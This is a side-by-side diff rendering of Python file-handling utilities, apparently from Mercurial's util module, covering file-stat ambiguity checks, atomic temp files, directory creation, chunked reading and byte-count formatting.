2329 | def __init__(self, stat): |
|
2328 | def __init__(self, stat): | |
2330 | self.stat = stat |
|
2329 | self.stat = stat | |
2331 |
|
2330 | |||
2332 | @classmethod |
|
2331 | @classmethod | |
2333 | def frompath(cls, path): |
|
2332 | def frompath(cls, path): | |
2334 | try: |
|
2333 | try: | |
2335 | stat = os.stat(path) |
|
2334 | stat = os.stat(path) | |
2336 | except OSError as err: |
|
2335 | except OSError as err: | |
2337 | if err.errno != errno.ENOENT: |
|
2336 | if err.errno != errno.ENOENT: | |
2338 | raise |
|
2337 | raise | |
2339 | stat = None |
|
2338 | stat = None | |
2340 | return cls(stat) |
|
2339 | return cls(stat) | |
2341 |
|
2340 | |||
2342 | @classmethod |
|
2341 | @classmethod | |
2343 | def fromfp(cls, fp): |
|
2342 | def fromfp(cls, fp): | |
2344 | stat = os.fstat(fp.fileno()) |
|
2343 | stat = os.fstat(fp.fileno()) | |
2345 | return cls(stat) |
|
2344 | return cls(stat) | |
2346 |
|
2345 | |||
2347 | __hash__ = object.__hash__ |
|
2346 | __hash__ = object.__hash__ | |
2348 |
|
2347 | |||
2349 | def __eq__(self, old): |
|
2348 | def __eq__(self, old): | |
2350 | try: |
|
2349 | try: | |
2351 | # if ambiguity between stat of new and old file is |
|
2350 | # if ambiguity between stat of new and old file is | |
2352 | # avoided, comparison of size, ctime and mtime is enough |
|
2351 | # avoided, comparison of size, ctime and mtime is enough | |
2353 | # to exactly detect change of a file regardless of platform |
|
2352 | # to exactly detect change of a file regardless of platform | |
2354 | return ( |
|
2353 | return ( | |
2355 | self.stat.st_size == old.stat.st_size |
|
2354 | self.stat.st_size == old.stat.st_size | |
2356 | and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
|
2355 | and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] | |
2357 | and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME] |
|
2356 | and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME] | |
2358 | ) |
|
2357 | ) | |
2359 | except AttributeError: |
|
2358 | except AttributeError: | |
2360 | pass |
|
2359 | pass | |
2361 | try: |
|
2360 | try: | |
2362 | return self.stat is None and old.stat is None |
|
2361 | return self.stat is None and old.stat is None | |
2363 | except AttributeError: |
|
2362 | except AttributeError: | |
2364 | return False |
|
2363 | return False | |
2365 |
|
2364 | |||
2366 | def isambig(self, old): |
|
2365 | def isambig(self, old): | |
2367 | """Examine whether new (= self) stat is ambiguous against old one |
|
2366 | """Examine whether new (= self) stat is ambiguous against old one | |
2368 |
|
2367 | |||
2369 | "S[N]" below means stat of a file at N-th change: |
|
2368 | "S[N]" below means stat of a file at N-th change: | |
2370 |
|
2369 | |||
2371 | - S[n-1].ctime < S[n].ctime: can detect change of a file |
|
2370 | - S[n-1].ctime < S[n].ctime: can detect change of a file | |
2372 | - S[n-1].ctime == S[n].ctime |
|
2371 | - S[n-1].ctime == S[n].ctime | |
2373 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
|
2372 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) | |
2374 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
|
2373 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) | |
2375 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
|
2374 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) | |
2376 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
|
2375 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) | |
2377 |
|
2376 | |||
2378 | Case (*2) above means that a file was changed twice or more at |
|
2377 | Case (*2) above means that a file was changed twice or more at | |
2379 | same time in sec (= S[n-1].ctime), and comparison of timestamp |
|
2378 | same time in sec (= S[n-1].ctime), and comparison of timestamp | |
2380 | is ambiguous. |
|
2379 | is ambiguous. | |
2381 |
|
2380 | |||
2382 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
|
2381 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if | |
2383 | timestamp is ambiguous". |
|
2382 | timestamp is ambiguous". | |
2384 |
|
2383 | |||
2385 | But advancing mtime only in case (*2) doesn't work as |
|
2384 | But advancing mtime only in case (*2) doesn't work as | |
2386 | expected, because naturally advanced S[n].mtime in case (*1) |
|
2385 | expected, because naturally advanced S[n].mtime in case (*1) | |
2387 | might be equal to manually advanced S[n-1 or earlier].mtime. |
|
2386 | might be equal to manually advanced S[n-1 or earlier].mtime. | |
2388 |
|
2387 | |||
2389 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
|
2388 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be | |
2390 | treated as ambiguous regardless of mtime, to avoid overlooking |
|
2389 | treated as ambiguous regardless of mtime, to avoid overlooking | |
2391 | by confliction between such mtime. |
|
2390 | by confliction between such mtime. | |
2392 |
|
2391 | |||
2393 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
|
2392 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != | |
2394 | S[n].mtime", even if size of a file isn't changed. |
|
2393 | S[n].mtime", even if size of a file isn't changed. | |
2395 | """ |
|
2394 | """ | |
2396 | try: |
|
2395 | try: | |
2397 | return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
|
2396 | return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] | |
2398 | except AttributeError: |
|
2397 | except AttributeError: | |
2399 | return False |
|
2398 | return False | |
2400 |
|
2399 | |||
2401 | def avoidambig(self, path, old): |
|
2400 | def avoidambig(self, path, old): | |
2402 | """Change file stat of specified path to avoid ambiguity |
|
2401 | """Change file stat of specified path to avoid ambiguity | |
2403 |
|
2402 | |||
2404 | 'old' should be previous filestat of 'path'. |
|
2403 | 'old' should be previous filestat of 'path'. | |
2405 |
|
2404 | |||
2406 | This skips avoiding ambiguity, if a process doesn't have |
|
2405 | This skips avoiding ambiguity, if a process doesn't have | |
2407 | appropriate privileges for 'path'. This returns False in this |
|
2406 | appropriate privileges for 'path'. This returns False in this | |
2408 | case. |
|
2407 | case. | |
2409 |
|
2408 | |||
2410 | Otherwise, this returns True, as "ambiguity is avoided". |
|
2409 | Otherwise, this returns True, as "ambiguity is avoided". | |
2411 | """ |
|
2410 | """ | |
2412 | advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
|
2411 | advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF | |
2413 | try: |
|
2412 | try: | |
2414 | os.utime(path, (advanced, advanced)) |
|
2413 | os.utime(path, (advanced, advanced)) | |
2415 | except OSError as inst: |
|
2414 | except OSError as inst: | |
2416 | if inst.errno == errno.EPERM: |
|
2415 | if inst.errno == errno.EPERM: | |
2417 | # utime() on the file created by another user causes EPERM, |
|
2416 | # utime() on the file created by another user causes EPERM, | |
2418 | # if a process doesn't have appropriate privileges |
|
2417 | # if a process doesn't have appropriate privileges | |
2419 | return False |
|
2418 | return False | |
2420 | raise |
|
2419 | raise | |
2421 | return True |
|
2420 | return True | |
2422 |
|
2421 | |||
2423 | def __ne__(self, other): |
|
2422 | def __ne__(self, other): | |
2424 | return not self == other |
|
2423 | return not self == other | |
2425 |
|
2424 | |||
2426 |
|
2425 | |||
2427 | class atomictempfile(object): |
|
2426 | class atomictempfile(object): | |
2428 | '''writable file object that atomically updates a file |
|
2427 | '''writable file object that atomically updates a file | |
2429 |
|
2428 | |||
2430 | All writes will go to a temporary copy of the original file. Call |
|
2429 | All writes will go to a temporary copy of the original file. Call | |
2431 | close() when you are done writing, and atomictempfile will rename |
|
2430 | close() when you are done writing, and atomictempfile will rename | |
2432 | the temporary copy to the original name, making the changes |
|
2431 | the temporary copy to the original name, making the changes | |
2433 | visible. If the object is destroyed without being closed, all your |
|
2432 | visible. If the object is destroyed without being closed, all your | |
2434 | writes are discarded. |
|
2433 | writes are discarded. | |
2435 |
|
2434 | |||
2436 | checkambig argument of constructor is used with filestat, and is |
|
2435 | checkambig argument of constructor is used with filestat, and is | |
2437 | useful only if target file is guarded by any lock (e.g. repo.lock |
|
2436 | useful only if target file is guarded by any lock (e.g. repo.lock | |
2438 | or repo.wlock). |
|
2437 | or repo.wlock). | |
2439 | ''' |
|
2438 | ''' | |
2440 |
|
2439 | |||
2441 | def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False): |
|
2440 | def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False): | |
2442 | self.__name = name # permanent name |
|
2441 | self.__name = name # permanent name | |
2443 | self._tempname = mktempcopy( |
|
2442 | self._tempname = mktempcopy( | |
2444 | name, |
|
2443 | name, | |
2445 | emptyok=(b'w' in mode), |
|
2444 | emptyok=(b'w' in mode), | |
2446 | createmode=createmode, |
|
2445 | createmode=createmode, | |
2447 | enforcewritable=(b'w' in mode), |
|
2446 | enforcewritable=(b'w' in mode), | |
2448 | ) |
|
2447 | ) | |
2449 |
|
2448 | |||
2450 | self._fp = posixfile(self._tempname, mode) |
|
2449 | self._fp = posixfile(self._tempname, mode) | |
2451 | self._checkambig = checkambig |
|
2450 | self._checkambig = checkambig | |
2452 |
|
2451 | |||
2453 | # delegated methods |
|
2452 | # delegated methods | |
2454 | self.read = self._fp.read |
|
2453 | self.read = self._fp.read | |
2455 | self.write = self._fp.write |
|
2454 | self.write = self._fp.write | |
2456 | self.seek = self._fp.seek |
|
2455 | self.seek = self._fp.seek | |
2457 | self.tell = self._fp.tell |
|
2456 | self.tell = self._fp.tell | |
2458 | self.fileno = self._fp.fileno |
|
2457 | self.fileno = self._fp.fileno | |
2459 |
|
2458 | |||
2460 | def close(self): |
|
2459 | def close(self): | |
2461 | if not self._fp.closed: |
|
2460 | if not self._fp.closed: | |
2462 | self._fp.close() |
|
2461 | self._fp.close() | |
2463 | filename = localpath(self.__name) |
|
2462 | filename = localpath(self.__name) | |
2464 | oldstat = self._checkambig and filestat.frompath(filename) |
|
2463 | oldstat = self._checkambig and filestat.frompath(filename) | |
2465 | if oldstat and oldstat.stat: |
|
2464 | if oldstat and oldstat.stat: | |
2466 | rename(self._tempname, filename) |
|
2465 | rename(self._tempname, filename) | |
2467 | newstat = filestat.frompath(filename) |
|
2466 | newstat = filestat.frompath(filename) | |
2468 | if newstat.isambig(oldstat): |
|
2467 | if newstat.isambig(oldstat): | |
2469 | # stat of changed file is ambiguous to original one |
|
2468 | # stat of changed file is ambiguous to original one | |
2470 | advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
|
2469 | advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF | |
2471 | os.utime(filename, (advanced, advanced)) |
|
2470 | os.utime(filename, (advanced, advanced)) | |
2472 | else: |
|
2471 | else: | |
2473 | rename(self._tempname, filename) |
|
2472 | rename(self._tempname, filename) | |
2474 |
|
2473 | |||
2475 | def discard(self): |
|
2474 | def discard(self): | |
2476 | if not self._fp.closed: |
|
2475 | if not self._fp.closed: | |
2477 | try: |
|
2476 | try: | |
2478 | os.unlink(self._tempname) |
|
2477 | os.unlink(self._tempname) | |
2479 | except OSError: |
|
2478 | except OSError: | |
2480 | pass |
|
2479 | pass | |
2481 | self._fp.close() |
|
2480 | self._fp.close() | |
2482 |
|
2481 | |||
2483 | def __del__(self): |
|
2482 | def __del__(self): | |
2484 | if safehasattr(self, '_fp'): # constructor actually did something |
|
2483 | if safehasattr(self, '_fp'): # constructor actually did something | |
2485 | self.discard() |
|
2484 | self.discard() | |
2486 |
|
2485 | |||
2487 | def __enter__(self): |
|
2486 | def __enter__(self): | |
2488 | return self |
|
2487 | return self | |
2489 |
|
2488 | |||
2490 | def __exit__(self, exctype, excvalue, traceback): |
|
2489 | def __exit__(self, exctype, excvalue, traceback): | |
2491 | if exctype is not None: |
|
2490 | if exctype is not None: | |
2492 | self.discard() |
|
2491 | self.discard() | |
2493 | else: |
|
2492 | else: | |
2494 | self.close() |
|
2493 | self.close() | |
2495 |
|
2494 | |||
2496 |
|
2495 | |||
2497 | def unlinkpath(f, ignoremissing=False, rmdir=True): |
|
2496 | def unlinkpath(f, ignoremissing=False, rmdir=True): | |
2498 | """unlink and remove the directory if it is empty""" |
|
2497 | """unlink and remove the directory if it is empty""" | |
2499 | if ignoremissing: |
|
2498 | if ignoremissing: | |
2500 | tryunlink(f) |
|
2499 | tryunlink(f) | |
2501 | else: |
|
2500 | else: | |
2502 | unlink(f) |
|
2501 | unlink(f) | |
2503 | if rmdir: |
|
2502 | if rmdir: | |
2504 | # try removing directories that might now be empty |
|
2503 | # try removing directories that might now be empty | |
2505 | try: |
|
2504 | try: | |
2506 | removedirs(os.path.dirname(f)) |
|
2505 | removedirs(os.path.dirname(f)) | |
2507 | except OSError: |
|
2506 | except OSError: | |
2508 | pass |
|
2507 | pass | |
2509 |
|
2508 | |||
2510 |
|
2509 | |||
2511 | def tryunlink(f): |
|
2510 | def tryunlink(f): | |
2512 | """Attempt to remove a file, ignoring ENOENT errors.""" |
|
2511 | """Attempt to remove a file, ignoring ENOENT errors.""" | |
2513 | try: |
|
2512 | try: | |
2514 | unlink(f) |
|
2513 | unlink(f) | |
2515 | except OSError as e: |
|
2514 | except OSError as e: | |
2516 | if e.errno != errno.ENOENT: |
|
2515 | if e.errno != errno.ENOENT: | |
2517 | raise |
|
2516 | raise | |
2518 |
|
2517 | |||
2519 |
|
2518 | |||
2520 | def makedirs(name, mode=None, notindexed=False): |
|
2519 | def makedirs(name, mode=None, notindexed=False): | |
2521 | """recursive directory creation with parent mode inheritance |
|
2520 | """recursive directory creation with parent mode inheritance | |
2522 |
|
2521 | |||
2523 | Newly created directories are marked as "not to be indexed by |
|
2522 | Newly created directories are marked as "not to be indexed by | |
2524 | the content indexing service", if ``notindexed`` is specified |
|
2523 | the content indexing service", if ``notindexed`` is specified | |
2525 | for "write" mode access. |
|
2524 | for "write" mode access. | |
2526 | """ |
|
2525 | """ | |
2527 | try: |
|
2526 | try: | |
2528 | makedir(name, notindexed) |
|
2527 | makedir(name, notindexed) | |
2529 | except OSError as err: |
|
2528 | except OSError as err: | |
2530 | if err.errno == errno.EEXIST: |
|
2529 | if err.errno == errno.EEXIST: | |
2531 | return |
|
2530 | return | |
2532 | if err.errno != errno.ENOENT or not name: |
|
2531 | if err.errno != errno.ENOENT or not name: | |
2533 | raise |
|
2532 | raise | |
2534 | parent = os.path.dirname(os.path.abspath(name)) |
|
2533 | parent = os.path.dirname(os.path.abspath(name)) | |
2535 | if parent == name: |
|
2534 | if parent == name: | |
2536 | raise |
|
2535 | raise | |
2537 | makedirs(parent, mode, notindexed) |
|
2536 | makedirs(parent, mode, notindexed) | |
2538 | try: |
|
2537 | try: | |
2539 | makedir(name, notindexed) |
|
2538 | makedir(name, notindexed) | |
2540 | except OSError as err: |
|
2539 | except OSError as err: | |
2541 | # Catch EEXIST to handle races |
|
2540 | # Catch EEXIST to handle races | |
2542 | if err.errno == errno.EEXIST: |
|
2541 | if err.errno == errno.EEXIST: | |
2543 | return |
|
2542 | return | |
2544 | raise |
|
2543 | raise | |
2545 | if mode is not None: |
|
2544 | if mode is not None: | |
2546 | os.chmod(name, mode) |
|
2545 | os.chmod(name, mode) | |
2547 |
|
2546 | |||
2548 |
|
2547 | |||
2549 | def readfile(path): |
|
2548 | def readfile(path): | |
2550 | with open(path, b'rb') as fp: |
|
2549 | with open(path, b'rb') as fp: | |
2551 | return fp.read() |
|
2550 | return fp.read() | |
2552 |
|
2551 | |||
2553 |
|
2552 | |||
2554 | def writefile(path, text): |
|
2553 | def writefile(path, text): | |
2555 | with open(path, b'wb') as fp: |
|
2554 | with open(path, b'wb') as fp: | |
2556 | fp.write(text) |
|
2555 | fp.write(text) | |
2557 |
|
2556 | |||
2558 |
|
2557 | |||
2559 | def appendfile(path, text): |
|
2558 | def appendfile(path, text): | |
2560 | with open(path, b'ab') as fp: |
|
2559 | with open(path, b'ab') as fp: | |
2561 | fp.write(text) |
|
2560 | fp.write(text) | |
2562 |
|
2561 | |||
2563 |
|
2562 | |||
2564 | class chunkbuffer(object): |
|
2563 | class chunkbuffer(object): | |
2565 | """Allow arbitrary sized chunks of data to be efficiently read from an |
|
2564 | """Allow arbitrary sized chunks of data to be efficiently read from an | |
2566 | iterator over chunks of arbitrary size.""" |
|
2565 | iterator over chunks of arbitrary size.""" | |
2567 |
|
2566 | |||
2568 | def __init__(self, in_iter): |
|
2567 | def __init__(self, in_iter): | |
2569 | """in_iter is the iterator that's iterating over the input chunks.""" |
|
2568 | """in_iter is the iterator that's iterating over the input chunks.""" | |
2570 |
|
2569 | |||
2571 | def splitbig(chunks): |
|
2570 | def splitbig(chunks): | |
2572 | for chunk in chunks: |
|
2571 | for chunk in chunks: | |
2573 | if len(chunk) > 2 ** 20: |
|
2572 | if len(chunk) > 2 ** 20: | |
2574 | pos = 0 |
|
2573 | pos = 0 | |
2575 | while pos < len(chunk): |
|
2574 | while pos < len(chunk): | |
2576 | end = pos + 2 ** 18 |
|
2575 | end = pos + 2 ** 18 | |
2577 | yield chunk[pos:end] |
|
2576 | yield chunk[pos:end] | |
2578 | pos = end |
|
2577 | pos = end | |
2579 | else: |
|
2578 | else: | |
2580 | yield chunk |
|
2579 | yield chunk | |
2581 |
|
2580 | |||
2582 | self.iter = splitbig(in_iter) |
|
2581 | self.iter = splitbig(in_iter) | |
2583 | self._queue = collections.deque() |
|
2582 | self._queue = collections.deque() | |
2584 | self._chunkoffset = 0 |
|
2583 | self._chunkoffset = 0 | |
2585 |
|
2584 | |||
2586 | def read(self, l=None): |
|
2585 | def read(self, l=None): | |
2587 | """Read L bytes of data from the iterator of chunks of data. |
|
2586 | """Read L bytes of data from the iterator of chunks of data. | |
2588 | Returns less than L bytes if the iterator runs dry. |
|
2587 | Returns less than L bytes if the iterator runs dry. | |
2589 |
|
2588 | |||
2590 | If size parameter is omitted, read everything""" |
|
2589 | If size parameter is omitted, read everything""" | |
2591 | if l is None: |
|
2590 | if l is None: | |
2592 | return b''.join(self.iter) |
|
2591 | return b''.join(self.iter) | |
2593 |
|
2592 | |||
2594 | left = l |
|
2593 | left = l | |
2595 | buf = [] |
|
2594 | buf = [] | |
2596 | queue = self._queue |
|
2595 | queue = self._queue | |
2597 | while left > 0: |
|
2596 | while left > 0: | |
2598 | # refill the queue |
|
2597 | # refill the queue | |
2599 | if not queue: |
|
2598 | if not queue: | |
2600 | target = 2 ** 18 |
|
2599 | target = 2 ** 18 | |
2601 | for chunk in self.iter: |
|
2600 | for chunk in self.iter: | |
2602 | queue.append(chunk) |
|
2601 | queue.append(chunk) | |
2603 | target -= len(chunk) |
|
2602 | target -= len(chunk) | |
2604 | if target <= 0: |
|
2603 | if target <= 0: | |
2605 | break |
|
2604 | break | |
2606 | if not queue: |
|
2605 | if not queue: | |
2607 | break |
|
2606 | break | |
2608 |
|
2607 | |||
2609 | # The easy way to do this would be to queue.popleft(), modify the |
|
2608 | # The easy way to do this would be to queue.popleft(), modify the | |
2610 | # chunk (if necessary), then queue.appendleft(). However, for cases |
|
2609 | # chunk (if necessary), then queue.appendleft(). However, for cases | |
2611 | # where we read partial chunk content, this incurs 2 dequeue |
|
2610 | # where we read partial chunk content, this incurs 2 dequeue | |
2612 | # mutations and creates a new str for the remaining chunk in the |
|
2611 | # mutations and creates a new str for the remaining chunk in the | |
2613 | # queue. Our code below avoids this overhead. |
|
2612 | # queue. Our code below avoids this overhead. | |
2614 |
|
2613 | |||
2615 | chunk = queue[0] |
|
2614 | chunk = queue[0] | |
2616 | chunkl = len(chunk) |
|
2615 | chunkl = len(chunk) | |
2617 | offset = self._chunkoffset |
|
2616 | offset = self._chunkoffset | |
2618 |
|
2617 | |||
2619 | # Use full chunk. |
|
2618 | # Use full chunk. | |
2620 | if offset == 0 and left >= chunkl: |
|
2619 | if offset == 0 and left >= chunkl: | |
2621 | left -= chunkl |
|
2620 | left -= chunkl | |
2622 | queue.popleft() |
|
2621 | queue.popleft() | |
2623 | buf.append(chunk) |
|
2622 | buf.append(chunk) | |
2624 | # self._chunkoffset remains at 0. |
|
2623 | # self._chunkoffset remains at 0. | |
2625 | continue |
|
2624 | continue | |
2626 |
|
2625 | |||
2627 | chunkremaining = chunkl - offset |
|
2626 | chunkremaining = chunkl - offset | |
2628 |
|
2627 | |||
2629 | # Use all of unconsumed part of chunk. |
|
2628 | # Use all of unconsumed part of chunk. | |
2630 | if left >= chunkremaining: |
|
2629 | if left >= chunkremaining: | |
2631 | left -= chunkremaining |
|
2630 | left -= chunkremaining | |
2632 | queue.popleft() |
|
2631 | queue.popleft() | |
2633 | # offset == 0 is enabled by block above, so this won't merely |
|
2632 | # offset == 0 is enabled by block above, so this won't merely | |
2634 | # copy via ``chunk[0:]``. |
|
2633 | # copy via ``chunk[0:]``. | |
2635 | buf.append(chunk[offset:]) |
|
2634 | buf.append(chunk[offset:]) | |
2636 | self._chunkoffset = 0 |
|
2635 | self._chunkoffset = 0 | |
2637 |
|
2636 | |||
2638 | # Partial chunk needed. |
|
2637 | # Partial chunk needed. | |
2639 | else: |
|
2638 | else: | |
2640 | buf.append(chunk[offset : offset + left]) |
|
2639 | buf.append(chunk[offset : offset + left]) | |
2641 | self._chunkoffset += left |
|
2640 | self._chunkoffset += left | |
2642 | left -= chunkremaining |
|
2641 | left -= chunkremaining | |
2643 |
|
2642 | |||
2644 | return b''.join(buf) |
|
2643 | return b''.join(buf) | |
2645 |
|
2644 | |||
2646 |
|
2645 | |||
2647 | def filechunkiter(f, size=131072, limit=None): |
|
2646 | def filechunkiter(f, size=131072, limit=None): | |
2648 | """Create a generator that produces the data in the file size |
|
2647 | """Create a generator that produces the data in the file size | |
2649 | (default 131072) bytes at a time, up to optional limit (default is |
|
2648 | (default 131072) bytes at a time, up to optional limit (default is | |
2650 | to read all data). Chunks may be less than size bytes if the |
|
2649 | to read all data). Chunks may be less than size bytes if the | |
2651 | chunk is the last chunk in the file, or the file is a socket or |
|
2650 | chunk is the last chunk in the file, or the file is a socket or | |
2652 | some other type of file that sometimes reads less data than is |
|
2651 | some other type of file that sometimes reads less data than is | |
2653 | requested.""" |
|
2652 | requested.""" | |
2654 | assert size >= 0 |
|
2653 | assert size >= 0 | |
2655 | assert limit is None or limit >= 0 |
|
2654 | assert limit is None or limit >= 0 | |
2656 | while True: |
|
2655 | while True: | |
2657 | if limit is None: |
|
2656 | if limit is None: | |
2658 | nbytes = size |
|
2657 | nbytes = size | |
2659 | else: |
|
2658 | else: | |
2660 | nbytes = min(limit, size) |
|
2659 | nbytes = min(limit, size) | |
2661 | s = nbytes and f.read(nbytes) |
|
2660 | s = nbytes and f.read(nbytes) | |
2662 | if not s: |
|
2661 | if not s: | |
2663 | break |
|
2662 | break | |
2664 | if limit: |
|
2663 | if limit: | |
2665 | limit -= len(s) |
|
2664 | limit -= len(s) | |
2666 | yield s |
|
2665 | yield s | |
2667 |
|
2666 | |||
2668 |
|
2667 | |||
2669 | class cappedreader(object): |
|
2668 | class cappedreader(object): | |
2670 | """A file object proxy that allows reading up to N bytes. |
|
2669 | """A file object proxy that allows reading up to N bytes. | |
2671 |
|
2670 | |||
2672 | Given a source file object, instances of this type allow reading up to |
|
2671 | Given a source file object, instances of this type allow reading up to | |
2673 | N bytes from that source file object. Attempts to read past the allowed |
|
2672 | N bytes from that source file object. Attempts to read past the allowed | |
2674 | limit are treated as EOF. |
|
2673 | limit are treated as EOF. | |
2675 |
|
2674 | |||
2676 | It is assumed that I/O is not performed on the original file object |
|
2675 | It is assumed that I/O is not performed on the original file object | |
2677 | in addition to I/O that is performed by this instance. If there is, |
|
2676 | in addition to I/O that is performed by this instance. If there is, | |
2678 | state tracking will get out of sync and unexpected results will ensue. |
|
2677 | state tracking will get out of sync and unexpected results will ensue. | |
2679 | """ |
|
2678 | """ | |
2680 |
|
2679 | |||
2681 | def __init__(self, fh, limit): |
|
2680 | def __init__(self, fh, limit): | |
2682 | """Allow reading up to <limit> bytes from <fh>.""" |
|
2681 | """Allow reading up to <limit> bytes from <fh>.""" | |
2683 | self._fh = fh |
|
2682 | self._fh = fh | |
2684 | self._left = limit |
|
2683 | self._left = limit | |
2685 |
|
2684 | |||
2686 | def read(self, n=-1): |
|
2685 | def read(self, n=-1): | |
2687 | if not self._left: |
|
2686 | if not self._left: | |
2688 | return b'' |
|
2687 | return b'' | |
2689 |
|
2688 | |||
2690 | if n < 0: |
|
2689 | if n < 0: | |
2691 | n = self._left |
|
2690 | n = self._left | |
2692 |
|
2691 | |||
2693 | data = self._fh.read(min(n, self._left)) |
|
2692 | data = self._fh.read(min(n, self._left)) | |
2694 | self._left -= len(data) |
|
2693 | self._left -= len(data) | |
2695 | assert self._left >= 0 |
|
2694 | assert self._left >= 0 | |
2696 |
|
2695 | |||
2697 | return data |
|
2696 | return data | |
2698 |
|
2697 | |||
2699 | def readinto(self, b): |
|
2698 | def readinto(self, b): | |
2700 | res = self.read(len(b)) |
|
2699 | res = self.read(len(b)) | |
2701 | if res is None: |
|
2700 | if res is None: | |
2702 | return None |
|
2701 | return None | |
2703 |
|
2702 | |||
2704 | b[0 : len(res)] = res |
|
2703 | b[0 : len(res)] = res | |
2705 | return len(res) |
|
2704 | return len(res) | |
2706 |
|
2705 | |||
2707 |
|
2706 | |||
2708 | def unitcountfn(*unittable): |
|
2707 | def unitcountfn(*unittable): | |
2709 | '''return a function that renders a readable count of some quantity''' |
|
2708 | '''return a function that renders a readable count of some quantity''' | |
2710 |
|
2709 | |||
2711 | def go(count): |
|
2710 | def go(count): | |
2712 | for multiplier, divisor, format in unittable: |
|
2711 | for multiplier, divisor, format in unittable: | |
2713 | if abs(count) >= divisor * multiplier: |
|
2712 | if abs(count) >= divisor * multiplier: | |
2714 | return format % (count / float(divisor)) |
|
2713 | return format % (count / float(divisor)) | |
2715 | return unittable[-1][2] % count |
|
2714 | return unittable[-1][2] % count | |
2716 |
|
2715 | |||
2717 | return go |
|
2716 | return go | |
2718 |
|
2717 | |||
2719 |
|
2718 | |||
2720 | def processlinerange(fromline, toline): |
|
2719 | def processlinerange(fromline, toline): | |
2721 | """Check that linerange <fromline>:<toline> makes sense and return a |
|
2720 | """Check that linerange <fromline>:<toline> makes sense and return a | |
2722 | 0-based range. |
|
2721 | 0-based range. | |
2723 |
|
2722 | |||
2724 | >>> processlinerange(10, 20) |
|
2723 | >>> processlinerange(10, 20) | |
2725 | (9, 20) |
|
2724 | (9, 20) | |
2726 | >>> processlinerange(2, 1) |
|
2725 | >>> processlinerange(2, 1) | |
2727 | Traceback (most recent call last): |
|
2726 | Traceback (most recent call last): | |
2728 | ... |
|
2727 | ... | |
2729 | ParseError: line range must be positive |
|
2728 | ParseError: line range must be positive | |
2730 | >>> processlinerange(0, 5) |
|
2729 | >>> processlinerange(0, 5) | |
2731 | Traceback (most recent call last): |
|
2730 | Traceback (most recent call last): | |
2732 | ... |
|
2731 | ... | |
2733 | ParseError: fromline must be strictly positive |
|
2732 | ParseError: fromline must be strictly positive | |
2734 | """ |
|
2733 | """ | |
2735 | if toline - fromline < 0: |
|
2734 | if toline - fromline < 0: | |
2736 | raise error.ParseError(_(b"line range must be positive")) |
|
2735 | raise error.ParseError(_(b"line range must be positive")) | |
2737 | if fromline < 1: |
|
2736 | if fromline < 1: | |
2738 | raise error.ParseError(_(b"fromline must be strictly positive")) |
|
2737 | raise error.ParseError(_(b"fromline must be strictly positive")) | |
2739 | return fromline - 1, toline |
|
2738 | return fromline - 1, toline | |
2740 |
|
2739 | |||
2741 |
|
2740 | |||
2742 | bytecount = unitcountfn( |
|
2741 | bytecount = unitcountfn( | |
2743 | (100, 1 << 30, _(b'%.0f GB')), |
|
2742 | (100, 1 << 30, _(b'%.0f GB')), | |
2744 | (10, 1 << 30, _(b'%.1f GB')), |
|
2743 | (10, 1 << 30, _(b'%.1f GB')), | |
2745 | (1, 1 << 30, _(b'%.2f GB')), |
|
2744 | (1, 1 << 30, _(b'%.2f GB')), | |
2746 | (100, 1 << 20, _(b'%.0f MB')), |
|
2745 | (100, 1 << 20, _(b'%.0f MB')), | |
2747 | (10, 1 << 20, _(b'%.1f MB')), |
|
2746 | (10, 1 << 20, _(b'%.1f MB')), | |
2748 | (1, 1 << 20, _(b'%.2f MB')), |
|
2747 | (1, 1 << 20, _(b'%.2f MB')), | |
2749 | (100, 1 << 10, _(b'%.0f KB')), |
|
2748 | (100, 1 << 10, _(b'%.0f KB')), | |
2750 | (10, 1 << 10, _(b'%.1f KB')), |
|
2749 | (10, 1 << 10, _(b'%.1f KB')), | |
2751 | (1, 1 << 10, _(b'%.2f KB')), |
|
2750 | (1, 1 << 10, _(b'%.2f KB')), | |
2752 | (1, 1, _(b'%.0f bytes')), |
|
2751 | (1, 1, _(b'%.0f bytes')), | |
2753 | ) |
|
2752 | ) | |
2754 |
|
2753 | |||
2755 |
|
2754 | |||
2756 | class transformingwriter(object): |
|
2755 | class transformingwriter(object): | |
2757 | """Writable file wrapper to transform data by function""" |
|
2756 | """Writable file wrapper to transform data by function""" | |
2758 |
|
2757 | |||
2759 | def __init__(self, fp, encode): |
|
2758 | def __init__(self, fp, encode): | |
2760 | self._fp = fp |
|
2759 | self._fp = fp | |
2761 | self._encode = encode |
|
2760 | self._encode = encode | |
2762 |
|
2761 | |||
2763 | def close(self): |
|
2762 | def close(self): | |
2764 | self._fp.close() |
|
2763 | self._fp.close() | |
2765 |
|
2764 | |||
2766 | def flush(self): |
|
2765 | def flush(self): | |
2767 | self._fp.flush() |
|
2766 | self._fp.flush() | |
2768 |
|
2767 | |||
2769 | def write(self, data): |
|
2768 | def write(self, data): | |
2770 | return self._fp.write(self._encode(data)) |
|
2769 | return self._fp.write(self._encode(data)) | |
2771 |
|
2770 | |||
2772 |
|
